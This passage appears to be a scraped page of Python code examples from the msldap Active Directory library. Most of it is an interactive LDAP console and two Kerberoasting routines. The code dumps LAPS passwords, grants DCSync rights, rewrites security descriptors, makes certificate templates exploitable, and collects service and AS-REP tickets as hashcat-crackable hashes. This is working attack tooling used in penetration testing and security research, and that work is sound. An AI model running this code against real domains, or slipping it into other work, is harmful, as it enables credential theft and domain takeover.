                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in connection.pagedsearch(args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in connection.pagedsearch(args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Example #19
0
async def amain():
    import traceback
    from msldap.commons.url import MSLDAPURLDecoder

    base = 'DC=TEST,DC=CORP'

    #ip = 'WIN2019AD'
    #domain = 'TEST'
    #username = '******'
    #password = '******'
    ##auth_method = LDAPAuthProtocol.SICILY
    #auth_method = LDAPAuthProtocol.SIMPLE

    #cred = MSLDAPCredential(domain, username, password , auth_method)
    #target = MSLDAPTarget(ip)
    #target.dc_ip = '10.10.10.2'
    #target.domain = 'TEST'

    url = 'ldap+kerberos-password://test\\victim:Passw0rd!1@WIN2019AD/?dc=10.10.10.2'

    dec = MSLDAPURLDecoder(url)
    cred = dec.get_credential()
    target = dec.get_target()

    print(cred)
    print(target)

    input()

    client = MSLDAPClientConnection(target, cred)
    await client.connect()
    res, err = await client.bind()
    if err is not None:
        raise err

    #res = await client.search_test_2()
    #pprint.pprint(res)
    #search = bytes.fromhex('30840000007702012663840000006e043c434e3d3430392c434e3d446973706c6179537065636966696572732c434e3d436f6e66696775726174696f6e2c44433d746573742c44433d636f72700a01000a010002010002020258010100870b6f626a656374436c61737330840000000d040b6f626a656374436c617373')
    #msg = LDAPMessage.load(search)

    qry = r'(sAMAccountName=*)'  #'(userAccountControl:1.2.840.113556.1.4.803:=4194304)' #'(sAMAccountName=*)'
    #qry = r'(sAMAccountType=805306368)'
    #a = query_syntax_converter(qry)
    #print(a.native)
    #input('press bacon!')

    flt = query_syntax_converter(qry)
    i = 0
    async for res, err in client.pagedsearch(base.encode(),
                                             flt, ['*'.encode()],
                                             derefAliases=3,
                                             typesOnly=False):
        if err is not None:
            print('Error!')
            raise err
        i += 1
        if i % 1000 == 0:
            print(i)
        #pprint.pprint(res)

    await client.disconnect()
Example #20
0
                logger.debug('Secuirty Descriptor enumeration finished!')
                self.sd_finish_ctr += 1
            elif res_type == LDAPAgentCommand.DOMAININFO_FINISHED:
                logger.debug('Domaininfo enumeration finished!')
                self.domaininfo_finish_ctr += 1
            elif res_type == LDAPAgentCommand.GPOS_FINISHED:
                logger.debug('GPOs enumeration finished!')
                self.gpo_finish_ctr += 1

            if self.check_status() == True:
                break

        self.stop_agents()
        logger.info('[+] LDAP information acqusition finished!')
        return self.ad_id


if __name__ == '__main__':
    from msldap.commons.url import MSLDAPURLDecoder

    import sys
    sql = sys.argv[1]
    ldap_conn_url = sys.argv[2]

    print(sql)
    print(ldap_conn_url)

    ldap_mgr = MSLDAPURLDecoder(ldap_conn_url)

    mgr = LDAPEnumeratorManager(sql, ldap_mgr)
    mgr.run()
Example #21
0
 def __init__(self, url, gpo_id, domain):
     self.domain_dn = ",".join("DC={}".format(d) for d in domain.split("."))
     self.dn = 'CN={' + gpo_id + '}},CN=Policies,CN=System,{}'.format(
         self.domain_dn)
     conn_url = MSLDAPURLDecoder(url)
     self.ldap_client = conn_url.get_client()
Example #22
0
def run():
    import argparse
    parser = argparse.ArgumentParser(description='MS LDAP library')
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Verbosity, can be stacked')
    parser.add_argument('connection', help='Connection string in URL format.')
    parser.add_argument('--tree', help='LDAP tree to perform the searches on')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    dump_group = subparsers.add_parser(
        'dump', help='Dump all user objects to TSV file')
    dump_group.add_argument('outfile', help='output file')

    spn_group = subparsers.add_parser(
        'spn',
        help=
        'Dump all users with servicePrincipalName attribute set to TSV file')
    spn_group.add_argument('outfile', help='output file')

    dsa_group = subparsers.add_parser('dsa',
                                      help='Grab basic info about the AD')

    args = parser.parse_args()

    ###### VERBOSITY
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    else:
        logging.basicConfig(level=logging.DEBUG)

    url_dec = MSLDAPURLDecoder(args.connection)
    creds = url_dec.get_credential()
    target = url_dec.get_target()
    print(str(creds))
    print(str(target))
    connection = MSLDAPConnection(creds, target)

    if args.command == 'dsa':
        print(connection.get_server_info())

    elif args.command == 'dump':
        connection.connect()
        adinfo = connection.get_ad_info()
        with open(args.outfile, 'w', newline='', encoding='utf8') as f:
            writer = csv.writer(f, delimiter='\t')
            writer.writerow(MSADUser.TSV_ATTRS)
            for user in connection.get_all_user_objects():
                writer.writerow(user.get_row(MSADUser.TSV_ATTRS))

        with open(args.outfile + '_comp', 'w', newline='',
                  encoding='utf8') as f:
            writer = csv.writer(f, delimiter='\t')
            writer.writerow(MSADMachine.TSV_ATTRS)
            for comp in connection.get_all_machine_objects():
                writer.writerow(comp.get_row(MSADMachine.TSV_ATTRS))

    elif args.command == 'spn':
        connection.connect()
        adinfo = connection.get_ad_info()
        with open(args.outfile, 'w', newline='', encoding='utf8') as f:
            for user in connection.get_all_service_user_objects():
                f.write(user.sAMAccountName + '\r\n')
Example #23
0
 def get_ldap(self):
     return MSLDAPURLDecoder(self.ldap_url)
Example #24
0
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd):
    def __init__(self, url=None):
        aiocmd.PromptToolkitCmd.__init__(
            self, ignore_sigint=False
        )  #Setting this to false, since True doesnt work on windows...
        self.conn_url = None
        if url is not None:
            self.conn_url = MSLDAPURLDecoder(url)
        self.connection = None
        self.adinfo = None
        self.ldapinfo = None
        self.domain_name = None

    async def do_login(self, url=None):
        """Performs connection and login"""
        try:
            if self.conn_url is None and url is None:
                print('Not url was set, cant do logon')
            if url is not None:
                self.conn_url = MSLDAPURLDecoder(url)

            logger.debug(self.conn_url.get_credential())
            logger.debug(self.conn_url.get_target())

            self.connection = self.conn_url.get_client()
            _, err = await self.connection.connect()
            if err is not None:
                raise err

            return True
        except:
            traceback.print_exc()
            return False

    async def do_ldapinfo(self, show=True):
        """Prints detailed LDAP connection info (DSA)"""
        try:
            if self.ldapinfo is None:
                self.ldapinfo = self.connection.get_server_info()
            if show is True:
                for k in self.ldapinfo:
                    print('%s : %s' % (k, self.ldapinfo[k]))
            return True
        except:
            traceback.print_exc()
            return False

    async def do_adinfo(self, show=True):
        """Prints detailed Active Driectory info"""
        try:
            if self.adinfo is None:
                self.adinfo = self.connection._ldapinfo
                self.domain_name = self.adinfo.distinguishedName.replace(
                    'DC', '').replace('=', '').replace(',', '.')
            if show is True:
                print(self.adinfo)
            return True
        except:
            traceback.print_exc()
            return False

    async def do_spns(self):
        """Fetches kerberoastable user accounts"""
        try:
            await self.do_ldapinfo(False)
            async for user, err in self.connection.get_all_service_users():
                if err is not None:
                    raise err
                print(user.sAMAccountName)

            return True
        except:
            traceback.print_exc()
            return False

    async def do_asrep(self):
        """Fetches ASREP-roastable user accounts"""
        try:
            await self.do_ldapinfo(False)
            async for user, err in self.connection.get_all_knoreq_users():
                if err is not None:
                    raise err
                print(user.sAMAccountName)
            return True
        except:
            traceback.print_exc()
            return False

    async def do_computeraddr(self):
        """Fetches all computer accounts"""
        try:
            await self.do_adinfo(False)
            #machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime("%Y%m%d-%H%M%S"))
            async for machine, err in self.connection.get_all_machines(
                attrs=['sAMAccountName', 'dNSHostName']):
                if err is not None:
                    raise err

                dns = machine.dNSHostName
                if dns is None:
                    dns = '%s.%s' % (machine.sAMAccountName[:-1],
                                     self.domain_name)

                print(str(dns))
            return True
        except:
            traceback.print_exc()
            return False

    async def do_dump(self):
        """Fetches ALL user and machine accounts from the domain with a LOT of attributes"""
        try:
            await self.do_adinfo(False)
            await self.do_ldapinfo(False)

            users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime(
                "%Y%m%d-%H%M%S")
            pbar = tqdm(desc='Writing users to file %s' % users_filename)
            with open(users_filename, 'w', newline='', encoding='utf8') as f:
                async for user, err in self.connection.get_all_users():
                    if err is not None:
                        raise err
                    pbar.update()
                    f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS)))
            print('Users dump was written to %s' % users_filename)

            users_filename = 'computers_%s.tsv' % datetime.datetime.now(
            ).strftime("%Y%m%d-%H%M%S")
            pbar = tqdm(desc='Writing computers to file %s' % users_filename)
            with open(users_filename, 'w', newline='', encoding='utf8') as f:
                async for user, err in self.connection.get_all_machines():
                    if err is not None:
                        raise err
                    pbar.update()
                    f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS)))
            print('Computer dump was written to %s' % users_filename)
            return True
        except:
            traceback.print_exc()
            return False

    async def do_query(self, query, attributes=None):
        """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)"""
        try:
            await self.do_ldapinfo(False)
            if attributes is None:
                attributes = '*'
            if attributes.find(','):
                attributes = attributes.split(',')
            logging.debug('Query: %s' % (query))
            logging.debug('Attributes: %s' % (attributes))
            async for entry, err in self.connection.pagedsearch(
                    query, attributes):
                if err is not None:
                    raise err
                print(entry)
            return True
        except:
            traceback.print_exc()
            return False

    async def do_tree(self, dn=None, level=1):
        """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)"""
        try:
            await self.do_ldapinfo(False)
            if level is None:
                level = 1
            level = int(level)
            if dn is not None:
                try:
                    int(dn)
                except:
                    pass
                else:
                    level = int(dn)
                    dn = None

            if dn is None:
                await self.do_ldapinfo(False)
                dn = self.connection._tree
            logging.debug('Tree on %s' % dn)
            tree_data = await self.connection.get_tree_plot(dn, level)
            tr = LeftAligned()
            print(tr(tree_data))

            return True
        except:
            traceback.print_exc()
            return False

    async def do_user(self, samaccountname, to_print=True):
        """Feteches a user object based on the sAMAccountName of the user"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            user, err = await self.connection.get_user(samaccountname)
            if err is not None:
                raise err

            if to_print is True:
                if user is None:
                    print('User not found!')
                else:
                    print(user)

            return user
        except:
            traceback.print_exc()
            return False

    async def do_machine(self, samaccountname):
        """Feteches a machine object based on the sAMAccountName of the machine"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            machine, err = await self.connection.get_machine(samaccountname)
            if err is not None:
                raise err
            if machine is None:
                print('machine not found!')
            else:
                print(machine)
                ####TEST
                x = SECURITY_DESCRIPTOR.from_bytes(
                    machine.allowedtoactonbehalfofotheridentity)
                print(x)

            return True
        except:
            traceback.print_exc()
            return False

    async def do_schemaentry(self, cn):
        """Feteches a schema object entry object based on the DN of the object (must start with CN=)"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            schemaentry, err = await self.connection.get_schemaentry(cn)
            if err is not None:
                raise err

            print(str(schemaentry))
            return True
        except:
            traceback.print_exc()
            return False

    async def do_allschemaentry(self):
        """Feteches all schema object entry objects"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            async for schemaentry, err in self.connection.get_all_schemaentry(
            ):
                if err is not None:
                    raise err

                print(str(schemaentry))
            return True
        except:
            traceback.print_exc()
            return False

    #async def do_addallowedtoactonbehalfofotheridentity(self, target_name, add_computer_name):
    #	"""Adds a SID to the msDS-AllowedToActOnBehalfOfOtherIdentity protperty of target_dn"""
    #	try:
    #		await self.do_ldapinfo(False)
    #		await self.do_adinfo(False)
    #
    #		try:
    #			new_owner_sid = SID.from_string(sid)
    #		except:
    #			print('Incorrect SID!')
    #			return False, Exception('Incorrect SID')
    #
    #
    #		target_sd = None
    #		if target_attribute is None or target_attribute == '':
    #			target_attribute = 'nTSecurityDescriptor'
    #			res, err = await self.connection.get_objectacl_by_dn(target_dn)
    #			if err is not None:
    #				raise err
    #			target_sd = SECURITY_DESCRIPTOR.from_bytes(res)
    #		else:
    #
    #			query = '(distinguishedName=%s)' % target_dn
    #			async for entry, err in self.connection.pagedsearch(query, [target_attribute]):
    #				if err is not None:
    #					raise err
    #				print(entry['attributes'][target_attribute])
    #				target_sd = SECURITY_DESCRIPTOR.from_bytes(entry['attributes'][target_attribute])
    #				break
    #			else:
    #				print('Target DN not found!')
    #				return False, Exception('Target DN not found!')
    #
    #		print(target_sd)
    #		new_sd = copy.deepcopy(target_sd)
    #		new_sd.Owner = new_owner_sid
    #		print(new_sd)
    #
    #		changes = {
    #			target_attribute : [('replace', [new_sd.to_bytes()])]
    #		}
    #		_, err = await self.connection.modify(target_dn, changes)
    #		if err is not None:
    #			raise err
    #
    #		print('Change OK!')
    #	except:
    #		traceback.print_exc()

    async def do_changeowner(self,
                             new_owner_sid,
                             target_dn,
                             target_attribute=None):
        """Changes the owner in a Security Descriptor to the new_owner_sid on an LDAP object or on an LDAP object's attribute identified by target_dn and target_attribute. target_attribute can be omitted to change the target_dn's SD's owner"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)

            _, err = await self.connection.change_priv_owner(
                new_owner_sid, target_dn, target_attribute=target_attribute)
            if err is not None:
                raise err
        except:
            traceback.print_exc()
            return False

    async def do_addprivdcsync(self, user_dn, forest=None):
        """Adds DCSync rights to the given user by modifying the forest's Security Descriptor to add GetChanges and GetChangesAll ACE"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)

            _, err = await self.connection.add_priv_dcsync(
                user_dn, self.adinfo.distinguishedName)
            if err is not None:
                raise err

            print('Change OK!')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_addprivaddmember(self, user_dn, group_dn):
        """Adds AddMember rights to the user on the group specified by group_dn"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)

            _, err = await self.connection.add_priv_addmember(
                user_dn, group_dn)
            if err is not None:
                raise err

            print('Change OK!')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_setsd(self, target_dn, sddl):
        """Updates the security descriptor of an object"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)

            try:
                new_sd = SECURITY_DESCRIPTOR.from_sddl(sddl)
            except:
                print('Incorrect SDDL input!')
                return False, Exception('Incorrect SDDL input!')

            _, err = await self.connection.set_objectacl_by_dn(
                target_dn, new_sd.to_bytes())
            if err is not None:
                raise err
            print('Change OK!')
            return True
        except:
            print('Erro while updating security descriptor!')
            traceback.print_exc()
            return False

    async def do_getsd(self, dn):
        """Feteches security info for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            sec_info, err = await self.connection.get_objectacl_by_dn(dn)
            if err is not None:
                raise err
            sd = SECURITY_DESCRIPTOR.from_bytes(sec_info)
            print(sd.to_sddl())
            return True
        except:
            traceback.print_exc()
            return False

    async def do_gpos(self):
        """Feteches security info for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            async for gpo, err in self.connection.get_all_gpos():
                if err is not None:
                    raise err
                print(gpo)

            return True
        except:
            traceback.print_exc()
            return False

    async def do_laps(self):
        """Feteches all laps passwords"""
        try:
            async for entry, err in self.connection.get_all_laps():
                if err is not None:
                    raise err
                pwd = '<MISSING>'
                if 'ms-Mcs-AdmPwd' in entry['attributes']:
                    pwd = entry['attributes']['ms-Mcs-AdmPwd']
                print('%s : %s' % (entry['attributes']['cn'], pwd))

            return True
        except:
            traceback.print_exc()
            return False

    async def do_groupmembership(self, dn):
        """Feteches names all groupnames the user is a member of for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            group_sids = []
            async for group_sid, err in self.connection.get_tokengroups(dn):
                if err is not None:
                    raise err
                group_sids.append(group_sids)
                group_dn, err = await self.connection.get_dn_for_objectsid(
                    group_sid)
                if err is not None:
                    raise err
                print('%s - %s' % (group_dn, group_sid))

            if len(group_sids) == 0:
                print('No memberships found')

            return True
        except Exception as e:
            traceback.print_exc()
            return False

    async def do_bindtree(self, newtree):
        """Changes the LDAP TREE for future queries. 
				 MUST be DN format eg. 'DC=test,DC=corp'
				 !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!"""
        self.connection._tree = newtree

    async def do_trusts(self):
        """Feteches gives back domain trusts"""
        try:
            async for entry, err in self.connection.get_all_trusts():
                if err is not None:
                    raise err
                print(entry.get_line())

            return True
        except:
            traceback.print_exc()
            return False

    async def do_adduser(self, user_dn, password):
        """Creates a new domain user with password"""
        try:
            _, err = await self.connection.create_user_dn(user_dn, password)
            if err is not None:
                raise err
            print('User added')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_deluser(self, user_dn):
        """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)"""
        try:
            _, err = await self.connection.delete_user(user_dn)
            if err is not None:
                raise err
            print('Goodbye, Caroline.')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_changeuserpw(self, user_dn, newpass, oldpass=None):
        """Changes user password, if you are admin then old pw doesnt need to be supplied"""
        try:
            _, err = await self.connection.change_password(
                user_dn, newpass, oldpass)
            if err is not None:
                raise err
            print('User password changed')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_unlockuser(self, user_dn):
        """Unlock user by setting lockoutTime to 0"""
        try:
            _, err = await self.connection.unlock_user(user_dn)
            if err is not None:
                raise err
            print('User unlocked')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_enableuser(self, user_dn):
        """Unlock user by flipping useraccountcontrol bits"""
        try:
            _, err = await self.connection.enable_user(user_dn)
            if err is not None:
                raise err
            print('User enabled')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_disableuser(self, user_dn):
        """Unlock user by flipping useraccountcontrol bits"""
        try:
            _, err = await self.connection.disable_user(user_dn)
            if err is not None:
                raise err
            print('User disabled')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_addspn(self, user_dn, spn):
        """Adds an SPN entry to the users account"""
        try:
            _, err = await self.connection.add_user_spn(user_dn, spn)
            if err is not None:
                raise err
            print('SPN added!')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_addhostname(self, user_dn, hostname):
        """Adds additional hostname to computer account"""
        try:
            _, err = await self.connection.add_additional_hostname(
                user_dn, hostname)
            if err is not None:
                raise err
            print('Hostname added!')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_addusertogroup(self, user_dn, group_dn):
        """Adds user to specified group. Both user and group must be in DN format!"""
        try:
            _, err = await self.connection.add_user_to_group(user_dn, group_dn)
            if err is not None:
                raise err
            print('User added to group!')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_deluserfromgroup(self, user_dn, group_dn):
        """Removes user from specified group. Both user and group must be in DN format!"""
        try:
            _, err = await self.connection.del_user_from_group(
                user_dn, group_dn)
            if err is not None:
                raise err
            print('User added to group!')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_rootcas(self, to_print=True):
        """Lists Root CA certificates"""
        try:
            cas = []
            async for ca, err in self.connection.list_root_cas():
                if err is not None:
                    raise err
                cas.append(ca)
                if to_print is True:
                    print(ca)
            return cas
        except:
            traceback.print_exc()
            return False

    async def do_ntcas(self, to_print=True):
        """Lists NT CA certificates"""
        try:
            cas = []
            async for ca, err in self.connection.list_ntcas():
                if err is not None:
                    raise err
                cas.append(ca)
                if to_print is True:
                    print(ca)
            return cas
        except:
            traceback.print_exc()
            return False

    async def do_aiacas(self, to_print=True):
        """Lists AIA CA certificates"""
        try:
            cas = []
            async for ca, err in self.connection.list_aiacas():
                if err is not None:
                    raise err
                cas.append(ca)
                if to_print is True:
                    print(ca)
            return cas
        except:
            traceback.print_exc()
            return False

    async def do_enrollmentservices(self, to_print=True):
        """Lists AIA CA certificates"""
        try:
            services = []
            async for srv, err in self.connection.list_enrollment_services():
                if err is not None:
                    raise err
                services.append(srv)
                if to_print is True:
                    print(srv)
            return services
        except:
            traceback.print_exc()
            return False

    async def do_addcerttemplatenameflagaltname(self,
                                                certtemplatename,
                                                flags=None):
        """Modifyies the msPKI-Certificate-Name-Flag value of the specified certificate template and enables ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME bit. If 'flags' is present then it will assign that value."""
        try:
            template = None
            async for template, err in self.connection.list_certificate_templates(
                    certtemplatename):
                if err is not None:
                    raise err
                break

            if template is None:
                raise Exception("Template could not be found!")

            template = typing.cast(MSADCertificateTemplate, template)
            if flags is not None:
                flags = int(flags)
            else:
                flags = int(
                    CertificateNameFlag(template.Certificate_Name_Flag)
                    | CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME)

            changes = {'msPKI-Certificate-Name-Flag': [('replace', [flags])]}

            _, err = await self.connection.modify(template.distinguishedName,
                                                  changes)
            if err is not None:
                raise err

            print('Modify OK!')
            return True

        except:
            traceback.print_exc()
            return False

    async def do_addenrollmentright(self, certtemplatename, user_dn):
        """Grants enrollment rights to a user (by DN) for the specified certificate template."""
        try:
            user_sid, err = await self.connection.get_objectsid_for_dn(user_dn)
            if err is not None:
                raise err

            template = None
            async for template, err in self.connection.list_certificate_templates(
                    certtemplatename):
                if err is not None:
                    raise err
                break

            if template is None:
                raise Exception("Template could not be found!")
            template = typing.cast(MSADCertificateTemplate, template)
            new_sd = copy.deepcopy(template.nTSecurityDescriptor)
            ace = ACCESS_ALLOWED_OBJECT_ACE()
            ace.Sid = SID.from_string(user_sid)
            ace.ObjectType = GUID.from_string(EX_RIGHT_CERTIFICATE_ENROLLMENT)
            ace.AceFlags = AceFlags(0)
            ace.Mask = ADS_ACCESS_MASK.READ_PROP | ADS_ACCESS_MASK.WRITE_PROP | ADS_ACCESS_MASK.CONTROL_ACCESS
            ace.Flags = ACE_OBJECT_PRESENCE.ACE_OBJECT_TYPE_PRESENT
            new_sd.Dacl.aces.append(ace)
            _, err = await self.connection.set_objectacl_by_dn(
                template.distinguishedName,
                new_sd.to_bytes(),
                flags=SDFlagsRequest.DACL_SECURITY_INFORMATION)
            if err is not None:
                raise err
            print('SD set sucessfully')
            return True
        except:
            traceback.print_exc()
            return False

    async def do_certtemplates(self, name=None, to_print=True):
        """Lists certificate templates"""
        try:
            services = await self.do_enrollmentservices(to_print=False)
            templates = []
            async for template, err in self.connection.list_certificate_templates(
                    name):
                if err is not None:
                    raise err

                lt = None
                if template.nTSecurityDescriptor is not None:
                    lt, err = await self.connection.resolv_sd(
                        template.nTSecurityDescriptor)
                    if err is not None:
                        raise err
                template.sid_lookup_table = lt
                for srv in services:
                    if template.name in srv.certificateTemplates:
                        template.enroll_services.append(
                            '%s\\%s' % (srv.dNSHostName, srv.name))

                templates.append(template)
                if to_print is True:
                    print(template.prettyprint())

            return templates
        except:
            traceback.print_exc()
            return False

    async def do_sidresolv(self, sid, to_print=True):
        """Returns the domain and username for SID"""
        try:
            domain, username, err = await self.connection.resolv_sid(sid)
            if err is not None:
                raise err
            res = '%s\\%s' % (domain, username)
            if to_print is True:
                print(res)
            return res
        except:
            traceback.print_exc()
            return False

    async def do_certify(self, cmd=None, username=None):
        """ADCA security test"""
        try:
            es = await self.do_enrollmentservices(to_print=False)
            if es is False:
                raise Exception('Listing enrollment Services error! %s' % es)
            if es is None:
                raise Exception('No Enrollment Services present, stopping!')

            templates = await self.do_certtemplates(to_print=False)
            if templates is False:
                raise Exception('Listing templates error! %s' % es)

            if templates is None:
                raise Exception('No templates exists!')

            for enrollment in es:
                print(enrollment)

            if cmd is not None:
                if cmd.lower().startswith('vuln') is True:
                    tokengroups = None
                    if username is not None:
                        tokengroups, err = await self.connection.get_tokengroups_user(
                            username)
                        if err is not None:
                            raise err

                    for template in templates:
                        isvuln, reason = template.is_vulnerable(tokengroups)
                        if isvuln is True:
                            print(reason)
                            print(template)
            else:
                for template in templates:
                    print(template)

            return True
        except:
            traceback.print_exc()
            return False

    async def do_whoamiraw(self):
        """Simple whoami"""
        try:
            res, err = await self.connection.whoami()
            if err is not None:
                raise err
            print(res)
        except:
            traceback.print_exc()
            return False

    async def do_whoami(self):
        """Full whoami"""
        try:
            res, err = await self.connection.whoamifull()
            if err is not None:
                raise err

            for x in res:
                if isinstance(res[x], str) is True:
                    print('%s: %s' % (x, res[x]))
                elif isinstance(res[x], dict) is True:
                    for k in res[x]:
                        print('Group: %s (%s)' % (k, '\\'.join(res[x][k])))
            return True
        except:
            traceback.print_exc()
            return False, None

    async def do_test(self):
        """testing, dontuse"""
        try:
            async for entry, err in self.connection.get_all_objectacl():
                if err is not None:
                    raise err

                if entry.objectClass[-1] != 'user':
                    print(entry.objectClass)

            return True
        except:
            traceback.print_exc()
            return False

    """
Example #25
0
async def live_roast(outfile=None):
    try:
        logon = get_logon_info()
        domain = logon['domain']
        url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        errors = []
        results = []
        final_results = []
        spn_cnt = 0
        asrep_cnt = 0
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            results = []
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[23])
            results.append(res)

        if outfile is not None:
            filename = outfile + 'asreproast_%s_%s.txt' % (
                logon['domain'],
                datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
            with open(filename, 'w', newline='') as f:
                for thash in results:
                    asrep_cnt += 1
                    f.write(thash + '\r\n')
        else:
            final_results += results

        results = []
        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            try:
                ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name,
                                               SECPKG_CRED.OUTBOUND)
                res, ctx, data, outputflags, expiry = InitializeSecurityContext(
                    ctx,
                    spn_name,
                    token=None,
                    ctx=ctx,
                    flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION)
                if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
                    ticket = InitialContextToken.load(
                        data[0][1]).native['innerContextToken']
                else:
                    raise Exception('Error %s' % res.value)
            except Exception as e:
                print(e)
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if outfile is not None:
            filename = outfile + 'spnroast_%s_%s.txt' % (
                logon['domain'],
                datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
            with open(filename, 'w', newline='') as f:
                for thash in results:
                    spn_cnt += 1
                    f.write(thash + '\r\n')

        else:
            final_results += results

        return final_results, errors, None

    except Exception as e:
        return None, None, e
Example #26
0
async def run_auto():
    try:
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        from winacl.functions.highlevel import get_logon_info

        logon = get_logon_info()
        domain = logon['domain']
        url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        errors = []
        spn_cnt = 0
        asrep_cnt = 0
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            results = []
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[23])
            results.append(res)

        filename = 'asreproast_%s_%s.txt' % (
            logon['domain'],
            datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
        with open(filename, 'w', newline='') as f:
            for thash in results:
                asrep_cnt += 1
                f.write(thash + '\r\n')

        results = []
        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        filename = 'spnroast_%s_%s.txt' % (
            logon['domain'],
            datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
        with open(filename, 'w', newline='') as f:
            for thash in results:
                spn_cnt += 1
                f.write(thash + '\r\n')

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        print('[+] Done! %s spnroast tickets %s asreproast tickets' %
              (spn_cnt, asrep_cnt))
    except Exception as e:
        print(e)
Example #27
0
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd):
	def __init__(self, url = None):
		aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...
		self.conn_url = None
		if url is not None:
			self.conn_url = MSLDAPURLDecoder(url)
		self.connection = None
		self.adinfo = None
		self.ldapinfo = None

	async def do_login(self, url = None):
		"""Performs connection and login"""
		try:			
			if self.conn_url is None and url is None:
				print('Not url was set, cant do logon')
			if url is not None:
				self.conn_url = MSLDAPURLDecoder(url)

			logger.debug(self.conn_url.get_credential())
			logger.debug(self.conn_url.get_target())
			
			
			self.connection = self.conn_url.get_client()
			_, err = await self.connection.connect()
